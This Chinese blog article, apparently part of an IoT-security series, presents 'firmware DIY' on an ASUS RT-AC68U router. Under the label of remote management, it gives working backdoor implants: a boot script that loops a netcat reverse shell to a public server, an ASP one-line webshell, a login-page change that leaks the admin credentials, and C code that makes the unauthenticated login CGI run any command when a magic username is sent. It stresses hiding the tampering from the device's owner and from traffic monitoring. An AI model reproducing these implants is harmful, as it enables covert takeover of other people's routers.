上一篇文章主要介绍了终端设备固件常见的加密和解密方法,并结合实例带领读者了解了某些场景下固件完整的解密流程。本篇将着重介绍终端设备固件常见的DIY方法,最后通过对ASUS AC68U路由器进行固件修改带领读者走进固件DIY的世界。
官方固件不给力,没有自己想要的功能?作为一个懒人,想要远程快速重启设备?随着万物互联时代的到来,越来越多的奇思妙想出现在人们的脑海中。今天我们就带领大家通过魔改固件的方法实现这些想法。
关于固件的知识可以阅读我们之前的文章:《物联网终端安全入门与实践之了解物联网终端》下 固件篇。
DIY意思是英文Do It Yourself的缩写,可以正式译为自己动手做,也可译为亲力亲为。固件DIY通俗来讲就是自己动手做固件,泛指所有对固件进行改动的行为。
固件DIY目的是满足自己的特殊需要,做你需要的,做你想要的,做市场上绝无仅有、独一无二属于你自己的作品,这个是固件DIY的追求。固件DIY不仅可以在原有固件基础上新增某些功能,还可以减少某些不必要的功能,使得固件简洁、轻量化更适配设备,让设备发挥更大的效能。
固件通常分为开源固件与闭源固件。大部分厂商的代码都是没有开源的,提供给我们的只有已经编译打包后的固件,只有极少数厂商会把源代码开源提供给大家,例如华硕AsusWrt、起源于Linksys的OpenWRT等。本文会分别讲解开源固件与闭源固件的DIY方法。
对于厂商未公开源代码的固件我们称之为闭源固件,闭源固件的DIY流程通常有三个:固件解包、修改固件、固件重打包。
固件解包:
固件解包,顾名思义,就是对固件进行解压获取原始文件,部分厂商还会对固件进行加密处理,所以在此步骤有时还需要对固件进行解密才能正常解包,我们常用的固件解包工具有Binwalk。
修改固件:
通过对固件中的文件修改或增加以实现想要的目的功能。
固件重打包及刷入:
对解包后的固件文件系统进行重打包还原操作,还需要把重打包后的固件刷入目标设备。刷入新固件的时候可能会遇到固件校验不通过的问题,这个时候就需要去官网或官方论坛查找其他方法,一般设备都有救砖方法,可以通过救砖刷入固件。
救砖:目标设备无法正常使用需要通过特殊方法恢复设备
开源固件的DIY主要流程包括:获取源码与编译环境搭建、修改代码、固件编译。
获取源码与编译环境搭建
开源的设备固件源代码一般都会在一些知名代码托管平台中找得到,例如Github、国内的Gitee等,下面是一些常见的设备固件源代码地址。
AsusWRt:https://github.com/hajuuk/asuswrt(已停止更新)
RMerl(梅林):https://github.com/RMerl/asuswrt-merlin(老版本,已停止更新)
RMerl(梅林):https://github.com/RMerl/asuswrt-merlin.ng(新版本)
各种IoT设备并不是常见的X86架构,他们的固件编译一般都是跨平台编译,所以我们需要搭建相对应的编译环境。一般都是在Linux系统上进行编译,需要根据不同固件要求安装对应依赖文件,这部分都有Wiki文档或者官方教程,参考官方教程即可完成环境部署工作,这里不再赘述。
修改代码与编译固件
该环节的主要目的是通过新增代码或修改代码的方式实现新功能。关键在于找到合适的代码修改位置。特别是逻辑上不能出现问题,不能影响固件的正常使用。
官方源代码会自带打包工具,所以使用官方源代码编译的固件能通过设备后台的固件校验算法,利用这个特性我们可以通过管理页面刷入固件而无需实际接触设备使用救砖方法。
其实AC68U固件代码是开源的,不过这里我们当做未开源固件给大家进行演示。
3.1.1 固件解包
设备固件一般可以在官网下载,然后我们可以通过Binwalk对固件进行解包,这里推荐使用Firmware-Mod-Kit(简称FMK)对固件进行解包分析,FMK具有固件文件的解包和打包、固件提取文件系统的解压和压缩、DD-WRT Web Pages的修改等功能。
这里我们看到固件由3部分组成,分别是TRX Firmware header 、LZMA 压缩文件、Squashfs (文件系统)组成。
3.1.2 修改固件
植入自启动脚本思路
很多路由器在启动服务的时候会使用Shell脚本去启动,这刚好给了我们可乘之机。如果我们顺利找到路由器启动过程中执行的脚本并植入我们想要执行的程序,那么路由器启动时会执行我们自定义的脚本程序,实现远程设备管理的功能。
我们应该怎样查找自启动的Shell脚本呢?有两个方法:
系统日志分析:很多路由器都提供日志的功能,我们可以通过系统启动日志查看系统运行过程中所执行的操作;
系统进程分析:系统日志不是所有信息都会记录,部分自启动服务系统日志是无法记录的,这个时候我们可以通过查看系统进程信息去查找。
3.1.2.1 系统日志分析
May 5 13:05:20 wsdd2[524]: error: wsdd-mcast-v4: wsd_send_soap_msg: send
May 5 13:05:21 lldpd[544]: cannot get ethtool link information with GLINKSETTINGS (requires 4.9+): Operation not permitted
May 5 13:05:21 lldpd[544]: cannot get ethtool link information with GSET (requires 2.6.19+): Operation not permitted
May 5 13:05:23 custom_script: Running /jffs/scripts/services-start
May 5 13:05:23 admin: [软件中心]-[ks-services-start.sh]: /koolshare/init.d/V01softok.sh
May 5 13:05:23 kernel: et0: et_mvlan_netdev_event: event 8 for vlan2 mvlan_en 0
May 5 13:05:23 kernel: et0: et_mvlan_netdev_event: event 13 for vlan2 mvlan_en 0
May 5 13:05:23 kernel: et0: et_mvlan_netdev_event: event 1 for vlan2 mvlan_en 0
May 5 13:05:23 admin: [软件中心]-[V01softok.sh]: skipd进程准备就绪!
May 5 13:05:24 admin: [软件中心]-[V01softok.sh]: httpdb进程准备就绪!
May 5 13:05:24 kernel: xhci_hcd 0000:00:0c.0: Failed to enable MSI-X
May 5 13:05:24 kernel: xhci_hcd 0000:00:0c.0: failed to allocate MSI entry
May 5 13:05:24 kernel: usb usb1: No SuperSpeed endpoint companion for config 1 interface 0 altsetting 0 ep 129: using minimum values
May 5 13:05:24 Mastiff: init
May 5 13:05:25 kernel: SCSI subsystem initialized
May 5 13:05:25 kernel: csw_retry 100
May 5 13:05:25 syslog: event: wl_chanspec_changed_action
May 5 13:05:25 syslog: skip event due no re
May 5 13:05:26 syslog: fwver: 386.5_2 (sn: /ha:04:D4:C4:BC:A2:F0 )
May 5 13:05:31 roamast: ROAMING Start...
我们发现在系统启动过程中会运行/koolshare/init.d/V01softok.sh 脚本文件。
3.1.2.2 系统进程分析
大部分设备都有Telnet或者SSH服务,我们需要开启对应服务,并连接设备观察系统启动时的进程信息,所以需要提前在路由器后台页面开启对应服务,然后重启路由器,当设备重启完成后立刻进行连接,这里在进行操作时手速要快,因为Shell脚本执行时间比较短,执行完成就退出了。
通过查看系统进程发现系统启动过程中会运行 /usr/sbin/getrealip.sh。知道了系统启动时所执行的Shell脚本,我们就可以直接修改对应的脚本文件,植入自定义功能,例如:定时发起心跳包监控设备存活状态、远程管理等。
不过,实际过程中一般不会直接修改当前的Shell脚本,而是分析系统调用关系反向查找,找到源头文件,直接修改源文件内容,这样更隐蔽,而且在路由器重置的时候植入的脚本不会丢失。
当设备处于内网环境的时候,我们想要远程进入设备终端是一件很困难的事情,这里我们使用Shell脚本实现一个远程终端管理的功能,让设备通过反弹的方式定时回连到我们公网服务器,这样我们只需要在公网服务器监听即可连接内网设备,实现远程管理,脚本内容如下。
cat > /jffs/scripts/nc <<-EOF #!/bin/sh while true do sleep 60 # 远程IP IP="1.1.1.1" PORT=10000 nc \$IP \$PORT -e /bin/ash & done EOF chmod +x /jffs/scripts/* sh /jffs/scripts/nc
3.1.3 固件重打包与刷入
1. 固件重打包
使用FMK对固件进行重打包,直接执行build-firmware.sh 对文件进行重打包操作,这里大家可能会遇到的重打包后固件大小与原固件大小不一致导致打包失败问题,解决方法是使用 -min 参数进行打包即可。
2. 刷入固件
在路由器后台页面进行固件更新时发现使用FMK打包的固件未能通过后台页面的固件校验,在查阅相关资料后发现ASUS路由器可以通过救援模式绕过固件校验更新固件。
3.救援模式刷入固件
救援模式参考:https://www.asus.com.cn/support/FAQ/1000814/
这里使用救援模式后成功刷入我们重打包的固件。
3.1.4 实际效果
3.2.1 前期准备
我们需要按照官方教程搭建编译环境,由于华硕官方已经对AC68U固件停止更新,所以我们使用由开源社区更新维护的梅林固件进行测试。梅林固件是在官方固件基础上做修改,我们对比了梅林固件与官方固件页面,发现在两个固件在路由器页面上存在一定差异,需要修改后台页面内容保持与官方固件一致来提高隐蔽效果。
这里需要隐蔽的原因是从安全研究的角度出发,我们要尽可能的保证设备在植入修改固件后与原有页面无太大区别,不能被对方一眼识破,大家都懂的。
梅林固件后台页面
官方固件后台页面
我们可以发现梅林后台页面比官方后台页面多了一个图片,就是一个Logo,这样的固件可能会被发现,所以我们需要隐藏这个图片。
浏览器F12查看图片名称,在代码中全局搜索,找到图片对应位置并修改前端代码,重新编译梅林固件并刷入路由器,修改后发现我们已经去掉了梅林Logo的标志,页面跟官方固件几乎没有区别。
3.2.2 思路一 植入WebShell
有时候我们想要修改设备上某些配置文件信息,又不想开启终端并登录,这里我们尝试一下能不能通过图形化页面实现我们想要的功能。
RT-AC68U Web页面是Asp开发的,我们尝试在文件系统中添加WebShell文件,这样可以直接通过WebShell连接工具进行远程控制,做到命令执行与文件管理。
步骤
制作Asp 一句话代码如下
<%eval request("cxaqhq")%>
Web目录写入Asp代码
编译固件刷入路由器
实际效果
未登录无法访问WebShell页面地址
登录后访问WebShell页面卡死,WebShell连接工具无法连接
经过实际测试我们发现设备无法解析我们的Asp代码,我们怀疑是厂商阉割对应组件导致,通过在固件加入WebShell实现远程管理方法就此作罢。
3.2.3 思路二 页面获取用户名密码
我们为什么要获取用户名密码呢?因为我们常常会忘记路由器登录用户名密码,给工作生活带来很多不便。而且华硕路由器后台有开启SSH服务功能,我们可以获取登录用户名密码,进入路由器后台开启SSH服务对路由器进行远程管理。
通过研究发现,华硕路由器有Nvram 命令,可以通过Nvram 获取登录用户名密码,我们开启路由器SSH服务并登录路由器终端,查看Nvram 命令所有参数,找到获取Web服务登录用户名密码命令如下。
步骤
Nvram 获取用户名密码命令
# 获取登录用户名 nvram get http_username # 获取登录密码 nvram get http_passwd
修改登录页面代码,加入获取用户名密码功能
查看页面中的用户名密码(不在页面上显示,需要在源代码中查看)
在通过Nvram 获取用户名密码后,我们发现在新版本固件中Nvram获取的密码做加密处理,由于暂未找到加解密算法,暂未完成解密密码操作。
实际效果
未登录能获取登录用户名密码
密码做加密处理未能解密
3.2.4 思路三 修改代码添加与远程重启功能
网络不稳定想要重启路由器,你还在准备拔电源?这也太Low了,直接登录页面输入Reboot指令即可远程重启你的路由器,岂不很有科技范。
路由器底层是Linux系统,所以常见的Linux命令都支持例如:Reboot,我们可以修改路由器CGI文件在其中加入命令执行功能,最好是在未登录情况下可以访问的CGI文件,这样我们可以不用登录即可使用。
我们发现在登录页面所请求的CGI中加入我们的功能最为合适,原因有以下几点:
我们不需要登录即可访问;
复用原有的登录请求功能,不会产生特殊请求流量,可以防止安全防护设备对流量进行分析,提高隐蔽性高;
提高代码复用率,代码修改量小。
步骤
定位登录请求CGI文件及代码位置
添加功能代码
这里我们做一个最简单的功能,使用System 函数对传入参数进行执行。登录接口需要使用 Username和Password 进行401验证。此时,我们修改相应代码,当登录用户名为指定字符串时,将密码视为待执行的系统命令。
void cxaqhq(char* str) { char a[200]={}; char b[200]={}; char c[] = "CXAQHQ"; int i = 0; int len = strlen(str); for (i=0;i<len;++i) { if(str[i]==':') { str[i]=0; strcpy(a,str); strcpy(b,&str[i+1]); break; } } if (strcmp(a, c) == 0) { system(b); } }
编译固件并刷入
这个是最简单一步,顺利编译成功并刷入路由器,我们来看一下实际效果如何,这里我们执行wget去测试网络请求是否正常。
使用Dnslog检查命令执行情况
可以看到Dnslog后台已经收到我们的请求,Reboot命令也能成功执行(没有图片能演示设备重启的效果),我们已经实现在未登录状态下远程重启路由器,达到远程管理的功能。
优化
如果所执行的命令等待时间过长会阻塞主进程,导致Httpd进程崩溃进而造成设备重启。我们对代码进行优化,创建子进程去执行命令操作,解决进程阻塞问题。
System函数说明
System()会调用Fork()产生子进程,由子进程来调用/bin/sh-c string来执行参数string字符串所代表的命令,此命>令执行完后随即返回原调用的进程。 在调用system()期间SIGCHLD 信号会被暂时搁置,SIGINT和SIGQUIT 信号则会被忽略。
实际效果
不影响正常用户登录功能
不需要登录即可执行Reboot命令以及其他Linux指令(你懂的)
本编介绍了几种固件DIY的方法、流程与遇到的问题,并以ASUS AC68U路由器为案例进行实践,最终实现对设备的远程管理。本期《物联网终端安全入门与实践》之玩转物联网固件部分到这里就全部结束了。
物联网终端威胁是物联网终端安全研究的一大热点,针对物联网终端的攻击面有固件、无线协议、硬件等方面。因此我们后续针对设备的安全研究会聚焦在固件、无线协议与硬件安全(比如固件的Web服务、固件Upnp服务、无线协议的Wifi协议分析等)。
下一期我们将发布《物联网终端安全入门与实践》系列第三章《物联网终端威胁建模实战》,大家敬请期待哦!
大家对于本系列文章有任何技术相关问题可以直接私信小编或者在下方进行评论,小编会反馈给作者后解答!
参考链接: